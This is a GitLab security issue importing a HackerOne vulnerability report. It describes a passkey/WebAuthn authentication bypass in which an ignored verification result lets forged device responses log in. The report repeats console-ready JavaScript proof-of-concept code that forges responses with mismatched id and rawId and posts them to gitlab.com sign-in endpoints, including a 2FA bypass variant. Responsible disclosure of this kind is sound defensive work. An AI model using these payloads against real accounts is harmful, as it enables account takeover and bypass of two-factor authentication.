Limited Authentication Bypass for 2FA with WebAuthn & passkey authentication (credential ID required)
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/engineer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.**
**[HackerOne report #3476052](https://hackerone.com/reports/3476052)** by `ahacker1` on 2025-12-23, imported by @ameyadarshan:
[Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce)
## HackerOne Analyst Summary
## Premise
The issue cannot be reproduced on our side, considering a physical `passkey` is required to successfully reproduce the pre-conditions to test the vulnerability. We're therefore forwarding the submission to you for further validation!
## Summary
The researcher was able to identify an `Authentication bypass` vulnerability in GitLab's passkey/WebAuthn implementation where the return value of the `verify_passkey` function is ignored during authentication. The vulnerability occurs because when `validate_passkey_credential` fails (such as when the `id` field does not match the `rawId` field), all subsequent cryptographic verification steps including signature, challenge, origin, and rpId checks are skipped. Despite this validation failure, the service still updates the credential counter and returns a successful authentication response.
The vulnerability affects both passwordless authentication flows and WebAuthn two-factor authentication (2FA) scenarios. An attacker who obtains a victim's passkey credential ID (which is not considered secret data) can forge a device response and successfully authenticate without possessing the actual private key or providing valid cryptographic signatures. The vulnerability is exploitable on both `gitlab.com` and self-hosted GitLab instances with the `:passkeys` feature enabled.
The root cause lies in the `verify_passkey` method in `app/services/authn/passkey/authenticate_service.rb`, where the function returns early when validation fails, but the calling code does not check the return value. This allows the authentication flow to continue and update the stored credential as if verification succeeded.
## Steps to reproduce
### PoC 1 (Unauthenticated - Credential ID Required)
**Setup:**
1. Create a user `victim` with a password (e.g., `Password1!`)
2. Use a proxy tool (Burp Suite or Caido) to monitor requests
3. As the `victim` user, register a passkey at `https://gitlab.com/-/profile/two_factor_auth`
4. Click "Add passkey" and follow device instructions
5. Confirm `Add passkey` with password
6. In the proxy, observe the request to `/-/profile/passkeys`
7. Extract the credential ID from the `device_registration[device_response]` field JSON (the `rawId` property)
**Exploit:**
1. Visit `https://gitlab.com/users/sign_in`
2. Execute the following JavaScript payload in the browser console:
```javascript
/**
* JavaScript PoC for passkey/WebAuthn auth bypass (console-ready).
*/
// Base64url encode a Uint8Array
function b64url(bytes) {
return btoa(String.fromCharCode(...bytes))
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/g, '');
}
// Build a forged device_response that fails validate_* by mismatching id/rawId,
// skipping signature/challenge/origin/rpId checks.
function buildForgedDeviceResponse(rawIdB64url) {
return {
type: 'not-public-key', // not-public-key type will make validate_* return false, verification is skipped
id: 'Ym9ndXMtaWQ', // bogus-id does NOT match rawId -> validate_* returns false, verification is skipped
rawId: rawIdB64url,
clientExtensionResults: {},
response: {
clientDataJSON: "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiN3BVVmE0UjZXNU5tRWdkVW5tNjNxcHFCSjgtbEQ4a2NQQjhCYjBHeFEtSSIsIm9yaWdpbiI6Imh0dHBzOi8vZ2l0bGFiLmNvbSIsImNyb3NzT3JpZ2luIjpmYWxzZX0=",
authenticatorData: "IKg7Qs1UDC/N7mHk8UeT7ed0+oJYg1aDp8johajCcMIdAAAAAA==",
signature: '', // empty; never checked because verification is skipped
userHandle: ''
}
};
}
// URL-encode an object for x-www-form-urlencoded bodies
function formEncode(obj) {
return Object.entries(obj)
.map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`)
.join('&');
}
// Grab authenticity_token from <meta name="csrf-token">
function csrfToken() {
const el = document.querySelector('meta[name="csrf-token"]');
if (!el) throw new Error('csrf-token meta not found');
return el.content;
}
// Passwordless passkey exploit
async function exploitPasswordless(rawIdB64url) {
const token = csrfToken();
const forged = buildForgedDeviceResponse(rawIdB64url);
const body = formEncode({
authenticity_token: token,
device_response: JSON.stringify(forged),
remember_me: 0
});
const res = await fetch('https://gitlab.com/users/passkeys/sign_in', {
method: 'POST',
credentials: 'include',
headers: {
'content-type': 'application/x-www-form-urlencoded'
},
body
});
console.log('Passwordless exploit response:', res.status, res.statusText);
return res;
}
// Execute the exploit with the stolen credential ID
const CRED_ID = 'victim_credential_id_rawId_base64url';
exploitPasswordless(CRED_ID);
```
3. Verify successful authentication by visiting `https://gitlab.com`
### PoC 2 (2FA Bypass - Password Required)
**Setup:**
1. As victim, navigate to `https://gitlab.com/-/profile/two_factor_auth`
2. Under "Two-factor-authentication: WebAuthn devices" click "Register device"
3. Follow device confirmation and enable device
**Exploit:**
1. Visit `https://gitlab.com/users/sign_in`
2. Attempt sign-in with victim's username/password (will be blocked by 2FA)
3. On the 2FA page, cancel any WebAuthn requests (press Escape)
4. Execute the following JavaScript in the browser console:
```javascript
// WebAuthn 2FA bypass exploit
async function exploitWebAuthn2FA(rawIdB64url) {
const token = csrfToken();
const forged = buildForgedDeviceResponse(rawIdB64url);
const body = formEncode({
authenticity_token: token,
'user[device_response]': JSON.stringify(forged),
'user[remember_me]': 1
});
const res = await fetch('https://gitlab.com/users/sign_in', {
method: 'POST',
credentials: 'include',
headers: {
'content-type': 'application/x-www-form-urlencoded'
},
body
});
console.log('WebAuthn 2FA exploit response:', res.status, res.statusText);
return res;
}
// Auto-grab the leaked credential ID and exploit
const cred = JSON.parse(gon.webauthn.options).allowCredentials[0].id;
exploitWebAuthn2FA(cred);
```
## Impact
- **Full account takeover** in passwordless authentication flows when an attacker obtains the victim's credential ID
- **Complete bypass of WebAuthn two-factor authentication** when the victim's password is known
- **No cryptographic verification** is performed despite the system appearing to validate WebAuthn responses
## Original Report
##### Summary
Passkey authentication skips all WebAuthn verification because the return value of `verify_passkey` is ignored. If `validate_passkey_credential` fails (e.g., `id` ≠ `rawId`), signature, challenge, origin, and rpId checks are never executed, yet the service still updates the credential and returns success. An attacker who knows a victim’s passkey credential ID (not secret) can forge a device response and log in.
While GitLab does not currently leak credential IDs unauthenticated, future UX choices (like other SaaS providers that reveal available authentication methods after username entry, or listing WebAuthn 2FA credential choices) could expose them; the vulnerability becomes exploitable immediately if credential IDs are ever returned to unauthenticated or semi-authenticated clients.
- Passwordless flow: full account takeover with only the credential ID (no password, no signature).
- 2FA flow: bypass WebAuthn second factor when the victim’s password is known (the credential ID is leaked in the 2FA flow)
##### Steps to reproduce
###### Preconditions
- Tools: proxy i.e. burp suite, caido
- GitLab.com
OR
- GitLab instance with `:passkeys` feature enabled.
#### PoC 1 (unauthenticated, credential ID required)
###### Setup for PoC 1 (unauthenticated, credential ID required)
1) Create a user `victim` with a password (e.g., `Password1!`).
2) Use proxy to monitor requests:
3) As `victim` and register a passkey (https://gitlab.com/-/profile/two_factor_auth).
- Click "Add passkey" then follow instructions on device
- Confirm "Add passkey" with password
4) In proxy you should see request like`/-/profile/passkeys`
- For this request, see the `device_registration[device_response]` field with json
5) The credential ID is: **the rawId property of the JSON** (not the id)
6) Assume the attacker knows this value, and save it.
###### Exploit for PoC 1
1) Visit https://gitlab.com/users/sign_in
2) Run this script **replacing victim_credential_id_rawId_base64url with intercepted/known credential id from setup steps**:
```js
/**
* JavaScript PoC for passkey/WebAuthn auth bypass (console-ready).
*
* Usage:
* 1) Paste this entire file into the browser console on the relevant page.
* 2) Follow the scenario instructions below. (and uncomment the relavant lines)
*/
// ----- Helpers -----
// Base64url encode a Uint8Array
function b64url(bytes) {
return btoa(String.fromCharCode(...bytes))
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/g, '');
}
// Build a forged device_response that fails validate_* by mismatching id/rawId,
// skipping signature/challenge/origin/rpId checks.
function buildForgedDeviceResponse(rawIdB64url) {
return {
type: 'not-public-key', // not-public-key type will make validate_* return false, verification is skipped
id: 'Ym9ndXMtaWQ', // bogus-id does NOT match rawId -> validate_* returns false, verification is skipped
rawId: rawIdB64url,
clientExtensionResults: {},
response: {
// any valid webauthn data would work here
clientDataJSON: "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiN3BVVmE0UjZXNU5tRWdkVW5tNjNxcHFCSjgtbEQ4a2NQQjhCYjBHeFEtSSIsIm9yaWdpbiI6Imh0dHBzOi8vZ2l0bGFiLmNvbSIsImNyb3NzT3JpZ2luIjpmYWxzZX0=",
authenticatorData: "IKg7Qs1UDC/N7mHk8UeT7ed0+oJYg1aDp8johajCcMIdAAAAAA==",
signature: '', // empty; never checked because verification is skipped
userHandle: ''
}
};
}
// URL-encode an object for x-www-form-urlencoded bodies
function formEncode(obj) {
return Object.entries(obj)
.map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`)
.join('&');
}
// Grab authenticity_token from <meta name="csrf-token">
function csrfToken() {
const el = document.querySelector('meta[name="csrf-token"]');
if (!el) throw new Error('csrf-token meta not found');
return el.content;
}
// ----- Scenario I: Passwordless passkey (no password) -----
// Preconditions: credential ID (rawId base64url) known.
// Run on https://gitlab.com/users/sign_in (or after clicking Passkey button).
async function exploitPasswordless(rawIdB64url) {
const token = csrfToken();
const forged = buildForgedDeviceResponse(rawIdB64url);
const body = formEncode({
authenticity_token: token,
device_response: JSON.stringify(forged),
remember_me: 0
});
const res = await fetch('https://gitlab.com/users/passkeys/sign_in', {
method: 'POST',
credentials: 'include',
headers: {
'content-type': 'application/x-www-form-urlencoded'
},
body
});
console.log('Passwordless exploit response:', res.status, res.statusText);
return res;
}
// ----- Scenario II: WebAuthn 2FA bypass (password known) -----
// Run on the 2FA challenge page after submitting the correct password.
// The credential ID is available at: JSON.parse(gon.webauthn.options).allowCredentials[0].id
async function exploitWebAuthn2FA(rawIdB64url) {
const token = csrfToken();
const forged = buildForgedDeviceResponse(rawIdB64url);
const body = formEncode({
authenticity_token: token,
'user[device_response]': JSON.stringify(forged),
'user[remember_me]': 1
});
const res = await fetch('https://gitlab.com/users/sign_in', {
method: 'POST',
credentials: 'include',
headers: {
'content-type': 'application/x-www-form-urlencoded'
},
body
});
console.log('WebAuthn 2FA exploit response:', res.status, res.statusText);
return res;
}
// ----- Quick-start snippets (run in console) -----
// Scenario I: set your stolen/known credential ID then call exploitPasswordless(CRED_ID)
const CRED_ID = 'victim_credential_id_rawId_base64url';
exploitPasswordless(CRED_ID);
// Scenario II: on the 2FA page, auto-grab the leaked credential ID and exploit:
// const cred = JSON.parse(gon.webauthn.options).allowCredentials[0].id;
// exploitWebAuthn2FA(cred);
```
Visit: https://gitlab.com confirming that you have authenticated.
#### PoC 2 (required victim password, with victim 2FA device webauthn setup. credential ID is not required).
###### Setup for PoC 2 (victim 2fa):
1) As victim: https://gitlab.com/-/profile/two_factor_auth
2) Under Two-factor-authentication: "WebAuthn devices" -> Register device
Note: you must set up using webauthn devices (not passkeys).
3) Follow confirmation on device and enable device
###### Exploit for PoC 2
1) Go to https://gitlab.com/users/sign_in
2) Attempt to sign-in with victim's username/password (should be 2fa-blocked).
3) Now on the 2fa page, cancel any webauthn requests (i.e. esc)
4) Run this script
```js
/**
* JavaScript PoC for passkey/WebAuthn auth bypass (console-ready).
*
* Usage:
* 1) Paste this entire file into the browser console on the relevant page.
* 2) Follow the scenario instructions below. (and uncomment the relavant lines)
*/
// ----- Helpers -----
// Base64url encode a Uint8Array
function b64url(bytes) {
return btoa(String.fromCharCode(...bytes))
.replace(/\+/g, '-')
.replace(/\//g, '_')
.replace(/=+$/g, '');
}
// Build a forged device_response that fails validate_* by mismatching id/rawId,
// skipping signature/challenge/origin/rpId checks.
function buildForgedDeviceResponse(rawIdB64url) {
return {
type: 'not-public-key', // not-public-key type will make validate_* return false, verification is skipped
id: 'Ym9ndXMtaWQ', // bogus-id does NOT match rawId -> validate_* returns false, verification is skipped
rawId: rawIdB64url,
clientExtensionResults: {},
response: {
// any valid webauthn data would work here
clientDataJSON: "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiN3BVVmE0UjZXNU5tRWdkVW5tNjNxcHFCSjgtbEQ4a2NQQjhCYjBHeFEtSSIsIm9yaWdpbiI6Imh0dHBzOi8vZ2l0bGFiLmNvbSIsImNyb3NzT3JpZ2luIjpmYWxzZX0=",
authenticatorData: "IKg7Qs1UDC/N7mHk8UeT7ed0+oJYg1aDp8johajCcMIdAAAAAA==",
signature: '', // empty; never checked because verification is skipped
userHandle: ''
}
};
}
// URL-encode an object for x-www-form-urlencoded bodies
function formEncode(obj) {
return Object.entries(obj)
.map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`)
.join('&');
}
// Grab authenticity_token from <meta name="csrf-token">
function csrfToken() {
const el = document.querySelector('meta[name="csrf-token"]');
if (!el) throw new Error('csrf-token meta not found');
return el.content;
}
// ----- Scenario I: Passwordless passkey (no password) -----
// Preconditions: credential ID (rawId base64url) known.
// Run on https://gitlab.com/users/sign_in (or after clicking Passkey button).
async function exploitPasswordless(rawIdB64url) {
const token = csrfToken();
const forged = buildForgedDeviceResponse(rawIdB64url);
const body = formEncode({
authenticity_token: token,
device_response: JSON.stringify(forged),
remember_me: 0
});
const res = await fetch('https://gitlab.com/users/passkeys/sign_in', {
method: 'POST',
credentials: 'include',
headers: {
'content-type': 'application/x-www-form-urlencoded'
},
body
});
console.log('Passwordless exploit response:', res.status, res.statusText);
return res;
}
// ----- Scenario II: WebAuthn 2FA bypass (password known) -----
// Run on the 2FA challenge page after submitting the correct password.
// The credential ID is available at: JSON.parse(gon.webauthn.options).allowCredentials[0].id
async function exploitWebAuthn2FA(rawIdB64url) {
const token = csrfToken();
const forged = buildForgedDeviceResponse(rawIdB64url);
const body = formEncode({
authenticity_token: token,
'user[device_response]': JSON.stringify(forged),
'user[remember_me]': 1
});
const res = await fetch('https://gitlab.com/users/sign_in', {
method: 'POST',
credentials: 'include',
headers: {
'content-type': 'application/x-www-form-urlencoded'
},
body
});
console.log('WebAuthn 2FA exploit response:', res.status, res.statusText);
return res;
}
// ----- Quick-start snippets (run in console) -----
// Scenario I: set your stolen/known credential ID then call exploitPasswordless(CRED_ID)
// const CRED_ID = '<victim_credential_id_rawId_base64url>';
// exploitPasswordless(CRED_ID);
// Scenario II: on the 2FA page, auto-grab the leaked credential ID and exploit:
const cred = JSON.parse(gon.webauthn.options).allowCredentials[0].id;
exploitWebAuthn2FA(cred);
```
Visit: https://gitlab.com confirming that you have authenticated bypassing 2FA.
##### Examples
- Reproducible on gitlab.com or
- Reproducible on a fresh local instance with one user and a single passkey registered.
##### What is the current *bug* behavior?
- Authentication succeeds even when `validate_passkey_credential` returns false; `verify_passkey` result is ignored, so `response.verify` (signature/challenge/origin/rpId) never runs.
- The credential counter is updated and the user is signed in.
##### What is the expected *correct* behavior?
- Abort authentication when `validate_passkey_credential` is false.
##### Relevant logs and/or screenshots
- N/A (logic flaw).
##### Code analysis
- The result of `verify_passkey` is ignored; execution continues to update and return success with the victim's identity:
```25:34:app/services/authn/passkey/authenticate_service.rb
verify_passkey([@]stored_passkey_credential, passkey_credential, [@]challenge, encoder)
[@]stored_passkey_credential.update!(
counter: passkey_credential.sign_count,
last_used_at: Time.current
)
ServiceResponse.success(
message: _('Passkey successfully authenticated.'),
payload: find_matching_user_with_passkey([@]stored_passkey_credential)
)
```
- `verify_passkey` short-circuits on validation failure; when `validate_passkey_credential` is false, `verify_passkey_credential` (which calls `response.verify`) is never invoked, but no exception is raised and the caller doesn’t check the return value:
```71:75:app/services/authn/passkey/authenticate_service.rb
def verify_passkey(stored_passkey_credential, passkey_credential, challenge, encoder)
stored_passkey_credential &&
validate_passkey_credential(passkey_credential) &&
verify_passkey_credential(passkey_credential, stored_passkey_credential, challenge, encoder)
end
```
- Validation fails intentionally by mismatching `id` and `rawId`, skipping all cryptographic checks. Because no error is raised, authentication succeeds with attacker-controlled input.
The app/services/webauthn/authenticate_service.rb (used for webauthn 2fa) is also vulnerable.
##### Output of checks
- This bug happens on GitLab.com (logic flaw, version-independent).
###### Results of GitLab environment info
- N/A (logic flaw). For self-managed, run `gitlab-rake gitlab:env:info`.
#### Impact
- Full account takeover in the passwordless flow if an attacker learns the credential ID (no private key, no signature, no password).
Credential IDs are not secret and could be exposed if GitLab later mirrors common SaaS UX that lists available passkey credentials after username entry. See: https://developer.mozilla.org/en-US/docs/Web/API/PublicKeyCredentialRequestOptions#allowcredentials
This design pattern is implemented by most SaaS (i.e. Google, OpenAI, Auth0 ...), and if implemented would make the bug critical.
- WebAuthn 2FA rendered ineffective when the password is known; attacker needs only the credential ID (which, in the current flow, becomes visible on the 2FA page via `gon.webauthn.options.allowCredentials`).
#### Conclusion
This is a fundamental authentication-bypass logic flaw. Verification is skipped whenever validate_* returns false, yet the flow still signs the user in. Current 2FA pages already expose credential IDs to the client (gon.webauthn.options.allowCredentials), so a password + leaked ID bypasses WebAuthn 2FA today. If GitLab ever mirrors the common SaaS pattern of listing passkey options after username entry, credential IDs become trivially harvestable and the passwordless flow becomes full account takeover with no password or signature. Given the low effort to exploit once IDs are exposed—and the high impact (account takeover)—this should be treated as high severity and fixed promptly.
## Attachments
**Warning:** Attachments received through HackerOne, please exercise caution!
* [passkey-auth-bypass-poc.js](https://h1.sec.gitlab.net/a/a8f56ce4-beef-4f7e-b5ed-611db9cbb06c/passkey-auth-bypass-poc.js)
## How To Reproduce
Please add [reproducibility information] to this section:
1.
1.
1.
[reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue